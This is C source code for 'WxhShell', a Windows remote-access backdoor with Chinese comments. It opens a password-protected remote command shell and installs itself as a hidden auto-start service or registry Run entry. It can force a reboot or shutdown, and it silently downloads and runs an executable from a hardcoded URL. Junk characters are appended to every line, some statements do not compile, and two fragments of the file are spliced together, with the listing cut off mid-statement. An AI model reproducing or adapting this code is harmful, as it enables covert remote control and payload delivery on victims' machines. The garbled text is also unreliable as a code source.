    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0);  `qs,V  
    if(Boot(SHUTDOWN)) ^>l <)$s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wx3_?8z/O  
    else { <K^a2 D  
    closesocket(wsh); ' J@J$#6  
    ExitThread(0); >(a35 b$  
    } n3~axRPO  
    break; GoybkwFjZ  
    } w~6UOA8}  
  // 获取shell g0zzDv7~  
  case 's': { Mrrpm% Y  
    CmdShell(wsh); sr;&/l#7h  
    closesocket(wsh); gf8o~vKX$G  
    ExitThread(0); %evb.h)  
    break; aNu.4c/5  
  } I^k&v V  
  // 退出 @)h>vg  
  case 'x': { Yg.[R] UC  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); %9>w|%+;U+  
    CloseIt(wsh); $t%IJT  
    break; M5WB.L[@ q  
    } BZW03e8|  
  // 离开 phu,&DS!  
  case 'q': { 8HKv_vl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !rRBy3&  
    closesocket(wsh); z9S (<  
    WSACleanup(); k)I4m.0a5  
    exit(1); 7/~=[#]*  
    break; iG54 +]  
        } KUU {X~w  
  } 5oG~Fc  
  } nUj`#%  
f1aZnl  
  // 提示信息 htbE Q NW  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I;'{X_9$a  
} {BJ>x:2  
  } ir}z^+  
 _ VuWo  
  return; 0V3dc+t)O  
} WCsf_1  
&/U fXKr  
// shell模块句柄 _$AM=?P &  
int CmdShell(SOCKET sock) 3&})gU&a  
{ GxzO|vFQ  
STARTUPINFO si; Aeh #  
ZeroMemory(&si,sizeof(si)); *S*49Hq7c  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I4@XOwl{P  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1@OpvO5  
PROCESS_INFORMATION ProcessInfo; bss2<mqlH  
char cmdline[]="cmd"; 2|bt"y-5r  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kfnh1|D=aY  
  return 0; Qq:}Z7 H  
} Q$5 t~*$`  
4\-11!'08  
// 自身启动模式 f\oW<2k]~  
int StartFromService(void) k( 0;>)<i  
{ nRBS&&V  
typedef struct 6,YoP|@0  
{ 3 zh:~w_  
  DWORD ExitStatus; 7k*  
  DWORD PebBaseAddress; a^l)vh{+  
  DWORD AffinityMask;  p[P# !  
  DWORD BasePriority; f>6{tI 5X  
  ULONG UniqueProcessId; SWzqCF  
  ULONG InheritedFromUniqueProcessId; n}a`|Nbk  
}   PROCESS_BASIC_INFORMATION; A4f"v)vM  
=%~- M  
PROCNTQSIP NtQueryInformationProcess; ftRFG  
+TqrvI.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; nV8'QDQ:Al  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; TXi|  
:7LA/j  
  HANDLE             hProcess; t>"`rcg  
  PROCESS_BASIC_INFORMATION pbi; OD~Q|I(j  
t4UK~ {gh  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H Y5R  
  if(NULL == hInst ) return 0; }o:LwxNO  
"mBM<rEn*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "T=j\/Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); FUL3@Gb$UV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |1_$\k9Y&  
q<3La(^/  
  if (!NtQueryInformationProcess) return 0; *l`yxz@U  
CjPdN#*l  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !Np7mv\7  
  if(!hProcess) return 0; WS[Z[O  
RI8*'~ix]  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; VLm\PS   
Ph P)|P  
  CloseHandle(hProcess); ~4+Y BN  
'sI ne>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8WV5'cX  
if(hProcess==NULL) return 0; 2?7ID~\  
K@=u F 1?  
HMODULE hMod; 9BZ B1o X  
char procName[255]; X[.%[G|oj}  
unsigned long cbNeeded; a k5D  
=aB+|E  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >/\TG8t,f  
Crc6wmp  
  CloseHandle(hProcess); NTq_"`JjZ  
aR3jeB,=x  
if(strstr(procName,"services")) return 1; // 以服务启动 MuWZf2C  
cz IEkm  
  return 0; // 注册表启动 <6-73LsHcP  
} Z]uc *Ed  
{,5 .svO  
// 主模块 `5- ;'nX  
int StartWxhshell(LPSTR lpCmdLine) <VD7(j]'^  
{ C<teZz8/w  
  SOCKET wsl; YZfi-35@g  
BOOL val=TRUE; c&bhb[  
  int port=0; <b"^\]l  
  struct sockaddr_in door; jo&j<3i  
KgM|:'  
  if(wscfg.ws_autoins) Install(); .t[u_tBL  
)T9Cv8  
port=atoi(lpCmdLine); F1BvDplQ>G  
wowf 1j-  
if(port<=0) port=wscfg.ws_port; >QYx9`x&  
F_:W u,dUZ  
  WSADATA data; cr-5t4<jK  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; KJJ:fG8'  
{wM<i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XE_Lz2H`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); lfb+)s  
  door.sin_family = AF_INET; #akJhy@m$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Xbmsq,*]  
  door.sin_port = htons(port); yHE\Q  
6t7FklM%  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { rF[-4t %  
closesocket(wsl); G HQ~{  
return 1; QaLaw-lx  
} %|+aI?  
_YlyS )#@  
  if(listen(wsl,2) == INVALID_SOCKET) { {i=V:$_#  
closesocket(wsl); EG^ rh;  
return 1; #f(tzPD  
} T\Xf0|y  
  Wxhshell(wsl); #xx.yn(7  
  WSACleanup(); }.D18bE(  
V?yQm4  
return 0; MPnMLUB$\  
&V 7J5~_  
} Y>3zpeQ!&  
;Egl8Vhr  
// 以NT服务方式启动 ]0<K^OIY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q[3hOFCX  
{ ,5<AV K-#Q  
DWORD   status = 0; `vzMuL;  
  DWORD   specificError = 0xfffffff; x(sKkm`Q  
!otseI!!/  
  serviceStatus.dwServiceType     = SERVICE_WIN32; >a*dI_XE  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ndl{f=sjX-  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; E8PwA.  
  serviceStatus.dwWin32ExitCode     = 0; 6wpu[  
  serviceStatus.dwServiceSpecificExitCode = 0; fk15O_#3  
  serviceStatus.dwCheckPoint       = 0; fX:q ]  
  serviceStatus.dwWaitHint       = 0; 9[\do@  
:I"2 2EH  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); TT9 \m=7  
  if (hServiceStatusHandle==0) return; k;<@ 2C  
@?J7=}bzz  
status = GetLastError(); dY. X/f  
  if (status!=NO_ERROR) @VHstjos^V  
{ bbS,pid1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; NApy(e 5%  
    serviceStatus.dwCheckPoint       = 0; IHCxM|/k(M  
    serviceStatus.dwWaitHint       = 0; LtwfL^#  
    serviceStatus.dwWin32ExitCode     = status; 88:YU4:l`N  
    serviceStatus.dwServiceSpecificExitCode = specificError; VDv.N@ ) 7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zk3\v "  
    return; 28M^ F~0  
  } 9Bpb?  
?{ \7th37  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; id+EBVHAd  
  serviceStatus.dwCheckPoint       = 0; :I /9j=@1  
  serviceStatus.dwWaitHint       = 0; HZ!<dy3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J*K=tA  
} qYVeFSS  
euV!U}Xr  
// 处理NT服务事件,比如:启动、停止 A`~?2LH,~F  
VOID WINAPI NTServiceHandler(DWORD fdwControl) (qR;6l  
{ \;_tXb}F  
switch(fdwControl) L;g2ZoqIr0  
{ ^-Arfm%dn  
case SERVICE_CONTROL_STOP: #a@jt  
  serviceStatus.dwWin32ExitCode = 0; W,,3@:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0iC5,  
  serviceStatus.dwCheckPoint   = 0; dm_Pz\ *  
  serviceStatus.dwWaitHint     = 0; qp*~  |  
  { ,hJx3g5#n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); WoN JF6=?  
  } JXww_e[  
  return; %@ >^JTkY8  
case SERVICE_CONTROL_PAUSE: /g%RIzgW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _7u&.l<;  
  break; E}%Pwr  
case SERVICE_CONTROL_CONTINUE: 5cM%PYU4:v  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^vVAuO  
  break; SJc*Rl>  
case SERVICE_CONTROL_INTERROGATE: fUis_?!  
  break; =Gj~:|;$  
}; !Q_Kil.9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \I6F;G6  
} I4ZbMnO  
6^jrv [d  
// 标准应用程序主函数 ;D-k\kv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Omn $O>  
{ hxJKYU^%m  
n]3'N58  
// 获取操作系统版本 Q$: ,N=%  
OsIsNt=GetOsVer(); .#sX|c=W  
GetModuleFileName(NULL,ExeFile,MAX_PATH); I)jAdd  
BuAzO>=  
  // 从命令行安装 !jEV75  
  if(strpbrk(lpCmdLine,"iI")) Install(); * #z@b  
o[JZ>nm  
  // 下载执行文件 |FaK =e  
if(wscfg.ws_downexe) { j5n"LC+oz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )BaGY  
  WinExec(wscfg.ws_filenam,SW_HIDE); J^DyhCs  
} <jFov`^  
ZF#lh]  
if(!OsIsNt) { e{4e<hd  
// 如果时win9x,隐藏进程并且设置为注册表启动 \%}]wf}  
HideProc(); 1W0[|Hf2v*  
StartWxhshell(lpCmdLine); ;*nzb!u\\  
} #@V<{/;49  
else .2rpQa/h  
  if(StartFromService()) ;sUvY*Bcm  
  // 以服务方式启动 cw0 @Z0  
  StartServiceCtrlDispatcher(DispatchTable); #jxPh!%9  
else p}I\H ^"8+  
  // 普通方式启动 D'D IC  
  StartWxhshell(lpCmdLine); v13\y^t  
Mw+ l>92  
return 0; 2.@IfBF6  
} JX>`N5s  
$%&OaAg  
{pre|r\  
|z@AvS[  
=========================================== Y)(w&E>1  
|yj0Rv  
wwR}h I(  
]<%NX $9\  
|,TBP@  
/-^{$$eu  
" XMI5j7C L  
RMs8aZCa  
#include <stdio.h> KdTWi;mV2-  
#include <string.h> l]R7A_|  
#include <windows.h> ]H`pM9rC  
#include <winsock2.h> w!d(NA<|0]  
#include <winsvc.h> !w!k0z]  
#include <urlmon.h> nemC-4}  
A3q#,%  
#pragma comment (lib, "Ws2_32.lib") !iX/Ni:  
#pragma comment (lib, "urlmon.lib") S5L0[SZ$!  
#+h#b%8  
#define MAX_USER   100 // 最大客户端连接数 Mbly-l{|  
#define BUF_SOCK   200 // sock buffer 3:sx%Ci/2  
#define KEY_BUFF   255 // 输入 buffer @b5$WKPX  
Y@Ry oJ  
#define REBOOT     0   // 重启 weGsjy(b]N  
#define SHUTDOWN   1   // 关机 ;3Z?MQe"NQ  
^x( s !4d]  
#define DEF_PORT   5000 // 监听端口 %\'G2  
 l]   
#define REG_LEN     16   // 注册表键长度 X*Q<REDB  
#define SVC_LEN     80   // NT服务名长度 u Vv %k5  
EuVA"~PA  
// 从dll定义API *|6vCR  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cs:?Wq ^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u?z,Vs"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =yJV8%pa  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); va#].4_  
Nd;pkssd  
// wxhshell配置信息 }KftV nD?  
struct WSCFG { SFEDR?s   
  int ws_port;         // 监听端口 (A?w|/bZd  
  char ws_passstr[REG_LEN]; // 口令 0}:Wh&g  
  int ws_autoins;       // 安装标记, 1=yes 0=no )C0I y.N-  
  char ws_regname[REG_LEN]; // 注册表键名 uXA}" f2  
  char ws_svcname[REG_LEN]; // 服务名 S]e;p\8$Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {8;}y[R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 B1Z;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -" r4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no z 7cA5'c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a=B $L6*4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 %82:?fq  
OwDwa~  
}; (enOj0  
%bG\  
// default Wxhshell configuration ']^]z".H  
struct WSCFG wscfg={DEF_PORT, @aB7dtM  
    "xuhuanlingzhe", "{bc2# F  
    1, !b$~Sm)  
    "Wxhshell", Z#kB+.U  
    "Wxhshell", G;pc,\MF  
            "WxhShell Service", PVQn$-aq1  
    "Wrsky Windows CmdShell Service", EyV5FWb58  
    "Please Input Your Password: ", YQ1rS X3  
  1, zSOZr2- ^a  
  "http://www.wrsky.com/wxhshell.exe", ?;_Mxal'  
  "Wxhshell.exe" +QSH*(,  
    }; G 40  
l['ER$(7  
// 消息定义模块 OSh'b$Z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; v>j<ky   
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0@ vzQ$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <)L[V  
char *msg_ws_ext="\n\rExit."; 'RQEktm  
char *msg_ws_end="\n\rQuit."; &EC8{.7  
char *msg_ws_boot="\n\rReboot..."; 4~vn%O6n  
char *msg_ws_poff="\n\rShutdown..."; %Go/\g   
char *msg_ws_down="\n\rSave to "; ],zp~yVU&  
AJoP3Zv|?  
char *msg_ws_err="\n\rErr!"; h54\ \Ci  
char *msg_ws_ok="\n\rOK!"; 9'vf2) "  
vNm4xa%  
char ExeFile[MAX_PATH]; }h sR}  
int nUser = 0; =[TXH^.0  
HANDLE handles[MAX_USER]; + =U9<8  
int OsIsNt; ,o3`O|PiK  
aCfWbJ@qiG  
SERVICE_STATUS       serviceStatus; k~QmDq  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ?'tFTh  
W$z^U) |t  
// 函数声明 vXak5iq>X  
int Install(void); {s2eOL5I|%  
int Uninstall(void); I3ugBLxVC3  
int DownloadFile(char *sURL, SOCKET wsh); iqWkhJphv  
int Boot(int flag); A#F6~QX(.9  
void HideProc(void); (3j f_  
int GetOsVer(void); BY$L[U;@T  
int Wxhshell(SOCKET wsl); I5Rd~-="G  
void TalkWithClient(void *cs); 6>b#nFVJ  
int CmdShell(SOCKET sock); sei%QE]!/  
int StartFromService(void); [E9_ZdB T  
int StartWxhshell(LPSTR lpCmdLine); cNy*< Tv  
W$gjcsv  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (|tR>R.Wxg  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sv!6z Js  
[|C  
// 数据结构和表定义 z gxMDLH  
SERVICE_TABLE_ENTRY DispatchTable[] = MiMDEe%f%  
{ Ud#xgs'  
{wscfg.ws_svcname, NTServiceMain}, 1b2xWzpG  
{NULL, NULL} Xw162/:h  
}; T9>,Mx%D[  
4Ub7T=LG  
// 自我安装 raR=k!3i  
int Install(void) 7?uIl9Vk>(  
{ w:~vfdJ  
  char svExeFile[MAX_PATH]; Ou|kb61zg  
  HKEY key; uPb.uG  
  strcpy(svExeFile,ExeFile); r;"Qu  
GCxmqoQ  
// 如果是win9x系统,修改注册表设为自启动 }AS3]Lub@  
if(!OsIsNt) { _6aI>b#yL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zpcO7AY~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @|d`n\%x  
  RegCloseKey(key); IL%P\Zs  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7v`~;}5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4y,pzQ8a  
  RegCloseKey(key); U@}P]'`'f  
  return 0; `mS0]/AV/  
    } 7aHP;X~0  
  } )s ?Hkn  
} |tFg9RT  
else { ~#=70  
Ece=loV*l  
// 如果是NT以上系统,安装为系统服务 hz-^9U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U@LIw6B!KL  
if (schSCManager!=0) iu`B8yI  
{ T^2o' _:  
  SC_HANDLE schService = CreateService q9nQ/]rkHF  
  ( MX|@x~9W  
  schSCManager, _u#r;h[  
  wscfg.ws_svcname, VexQ ]  
  wscfg.ws_svcdisp, WG&WPV/p  
  SERVICE_ALL_ACCESS, VE^IA\J x  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?+byRoY>&g  
  SERVICE_AUTO_START, -[z1r)RZ  
  SERVICE_ERROR_NORMAL, Z:VT%-  
  svExeFile, 6 _#CvQ  
  NULL, jZ,=tF  
  NULL, #*+$o<Q]9  
  NULL, 1L4v X  
  NULL, KP gzB^>  
  NULL [qxDCuxq  
  ); y# IUDnRJ  
  if (schService!=0) ca:Vdrw`  
  { a.XMeB  
  CloseServiceHandle(schService); jq(rnbV  
  CloseServiceHandle(schSCManager); u/` t+-A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8@KGc )k  
  strcat(svExeFile,wscfg.ws_svcname); _$T.N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { D\z`+TyJ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p<Vj<6.=?  
  RegCloseKey(key); y6>fK@K~  
  return 0; ~@D{&7@  
    } iMF-TR  
  } z+j3j2  
  CloseServiceHandle(schSCManager); 7C~g?1  
} $T*g@]   
} 8 HD I]  
^B(:Hv}G(:  
return 1; Z07SK ' U  
} oox;8d4}y  
ezhK[/E=  
// 自我卸载 LP}'upv  
int Uninstall(void) ({h W  
{ Ka8Bed3  
  HKEY key; 9gETWz(3I  
&hIr@Gi@ch  
if(!OsIsNt) { -8sB\E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gzp]hh@4  
  RegDeleteValue(key,wscfg.ws_regname); GAlM:>  
  RegCloseKey(key); b2hXFwPe  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lkb,UL;V  
  RegDeleteValue(key,wscfg.ws_regname); [:l=>yJ{(  
  RegCloseKey(key); KK/siG~O  
  return 0; 2Jt*s$  
  } X>eFGCz}I  
} 0G8zFe*p  
} Gyy?cn6_  
else { Yo,n#<37  
h:r:qk  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); f|{&Y2h(R  
if (schSCManager!=0) kp,$ NfD  
{ b25C[C5C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ynZfO2kf  
  if (schService!=0) dK7BjZTJo  
  { +wm%`N;v<  
  if(DeleteService(schService)!=0) { `q7X(x  
  CloseServiceHandle(schService); }IV=qW,  
  CloseServiceHandle(schSCManager); AL[,&_&uV  
  return 0; 8/W2;>?wKc  
  } [f`7+RHrd  
  CloseServiceHandle(schService); ;_A?Zl}  
  } et@<MU@ `  
  CloseServiceHandle(schSCManager); o AM)<#U>  
} P"Y7N?\](  
} >'&|{s[m  
R(#ZaFuo[  
return 1; /Hyi/D{W  
} +\25ynM  
{0\9HI@  
// 从指定url下载文件 rC6{-42bb  
int DownloadFile(char *sURL, SOCKET wsh) GNM+sd y+  
{ US] I[Y6V  
  HRESULT hr; 2E@y0[C?  
char seps[]= "/"; -~^sSLrbP  
char *token; g<Y N#  
char *file; Jmun^Q/h  
char myURL[MAX_PATH]; 8 g3?@i  
char myFILE[MAX_PATH]; 1W{t?1[s  
R-1C#R[  
strcpy(myURL,sURL); + y|Q7+  
  token=strtok(myURL,seps); B5!|L)7>{p  
  while(token!=NULL) 'E4}++\  
  { Eu$hC]w  
    file=token; q4Y7 HE|ym  
  token=strtok(NULL,seps); ; r95i1a'  
  } Z4D[nPm$  
X=%e'P*X  
GetCurrentDirectory(MAX_PATH,myFILE); t+A9nvj)  
strcat(myFILE, "\\"); B[;aNyd<  
strcat(myFILE, file); 6rN.)dL.#N  
  send(wsh,myFILE,strlen(myFILE),0); [(Ihue  
send(wsh,"...",3,0); H ~lvUHN  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ZO]P9b  
  if(hr==S_OK) 8]xYE19=  
return 0; S.*LsrSV  
else _''9-t;n,  
return 1; k6(0:/C  
8l >Xbz  
} 0uJ??4N9  
GyQvodqD  
// 系统电源模块 Qv1cf  
int Boot(int flag) 9rgvwko  
{ !iU$-/,1e  
  HANDLE hToken; y*#+:D]o*  
  TOKEN_PRIVILEGES tkp; mIv}%hD  
wfQImCZ>l  
  if(OsIsNt) { P$&l1Mp  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }hS$F  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O+ xzM[[  
    tkp.PrivilegeCount = 1; #F'8vf'r  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; yMJ(Sf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); q)OCY}QA  
if(flag==REBOOT) { }[SYWJIc  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) O<y65#68Z  
  return 0; SL?YU(a  
} !>)o&sM  
else { PyM59v  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !3 zN [@w,  
  return 0; Ceew~n{  
} $ <Mf#.8%  
  } m`Pk)c0  
  else { Sn[/'V^$a  
if(flag==REBOOT) { )&93YrHgC  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v>0} v)<v  
  return 0; wx_j)Wij6  
} a( SJ5t?-2  
else { oH(=T/{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P 4+}<5  
  return 0; }gKJ~9Jg  
} 2Wr^#PY60  
} /&zlC{:G92  
1Hs'YzvY  
return 1; 5.QY{ +k  
} I8{ mkh  
"pc t#  
// win9x进程隐藏模块 o&>aYlXd  
void HideProc(void) 06[HE7  
{ ^m-w@0^z  
#q6#nfi"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); > O~   
  if ( hKernel != NULL ) lg*?w/JX+  
  { Hd_,`W@  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); -!IeP]n#P  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); t)4] 2z)$  
    FreeLibrary(hKernel); Uz%2{HB@{  
  } _=HNcpDA;0  
Gyb|{G_  
return; y-mjfW`n  
}  ?Zc(Zy6  
g1~wg$`S8S  
// 获取操作系统版本 L+8O 4K{  
int GetOsVer(void) s \0,@A   
{ \f@obp  
  OSVERSIONINFO winfo; `@8O|j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); D7g B%  
  GetVersionEx(&winfo); 5),&{k!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) m+xub*/  
  return 1; d2Ta&Md  
  else JthU' "K  
  return 0; 0KA@ ]!  
} XT1P. w[aA  
AYfL}X<Ig  
// 客户端句柄模块 f9vitFkb+  
int Wxhshell(SOCKET wsl) Ugme>60`'k  
{ T9uOOI  
  SOCKET wsh; D/+l$aBz  
  struct sockaddr_in client; <TgVU.*  
  DWORD myID; g1@rY0O  
-#,4rN#  
  while(nUser<MAX_USER) 1P WTbd l  
{ $Ww.^ym  
  int nSize=sizeof(client); RSCQ`.  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Hp[i8PJ  
  if(wsh==INVALID_SOCKET) return 1; FmgMd)#  
fpJ%{z2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Xq}}T%jcd  
if(handles[nUser]==0) sK8sxy  
  closesocket(wsh); :KS"&h{SY  
else c[Z#q*Q  
  nUser++; G|TnvZ KX  
  } JH*fxG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8Z3:jSgk  
0S$TLbx  
  return 0; ?RS4oJz,5g  
} L.8`5<ITw  
,h<x Y>  
// 关闭 socket Y++n0sK5<  
void CloseIt(SOCKET wsh) ll*Ez"  
{ }:(;mW8 D  
closesocket(wsh); z>)lp$  
nUser--; P_)=sj!>-  
ExitThread(0); 1'|gxYT  
} NdrR+t^#  
Y$s4 *)%  
// 客户端请求句柄 N_d{E/  
void TalkWithClient(void *cs) 2Sk"S/4}Z  
{ k106fT]eX  
]~ !CJ8d  
  SOCKET wsh=(SOCKET)cs; 5F#FC89Kk  
  char pwd[SVC_LEN]; Pk=0pHH8q  
  char cmd[KEY_BUFF]; -Ua&/Yd/}  
char chr[1]; Z/d {v:)  
int i,j; ^ 4*#QtO  
JF=T_SH^U  
  while (nUser < MAX_USER) { z<gII~%  
TeFi[1  
if(wscfg.ws_passstr) { 4gZ)9ya   
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wj5,_d)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b*ja,I4  
  //ZeroMemory(pwd,KEY_BUFF); ;te( {u+  
      i=0; 0[ (kFe  
  while(i<SVC_LEN) { _%#Uh#7P$  
NMUF)ksjN  
  // 设置超时 [3x},KM  
  fd_set FdRead; v# e*RI2}  
  struct timeval TimeOut; +.zX?}  
  FD_ZERO(&FdRead); J"$U$.W=  
  FD_SET(wsh,&FdRead); gw^W6v  
  TimeOut.tv_sec=8; q *kLi~ Oe  
  TimeOut.tv_usec=0; 9FPqd8(]*V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2#N?WlYw<S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &MPlSIg  
E<7$!P=z`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9Ais)Wy%p  
  pwd=chr[0]; !M(SEIc4A  
  if(chr[0]==0xd || chr[0]==0xa) { ! Y&]Y G  
  pwd=0; ct<XKqbI  
  break; m#4h5_N  
  } AnK X4Q  
  i++; ./^8L(  
    } 8dC RSU  
NE4]i  
  // 如果是非法用户,关闭 socket >XX93  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `I(ap{  
} |;&I$'i  
K(HrwH`a{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 'p@m`)Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )0g!lCfb  
`gyk e2n  
while(1) { .`(YCn?\  
.1z=VLKF'  
  ZeroMemory(cmd,KEY_BUFF); .zTkOk L  
Fk9]u^j  
      // 自动支持客户端 telnet标准   $wDSED -  
  j=0; |*M07Hc x  
  while(j<KEY_BUFF) { 9e.$x%7j  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &eqqgLz  
  cmd[j]=chr[0]; w9n0p0xr<  
  if(chr[0]==0xa || chr[0]==0xd) { T(Bcp^N  
  cmd[j]=0; J'tJY% `  
  break; yr?X.Np  
  } m/,80J8L+f  
  j++;  J%T=FU  
    } oTx>oM,  
Spin]V  
  // 下载文件 C ](djkA$  
  if(strstr(cmd,"http://")) { pG'?>]Rt4  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B I=57  
  if(DownloadFile(cmd,wsh)) \HG4i/V:h  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |g HdTb1  
  else o{QV'dgu  
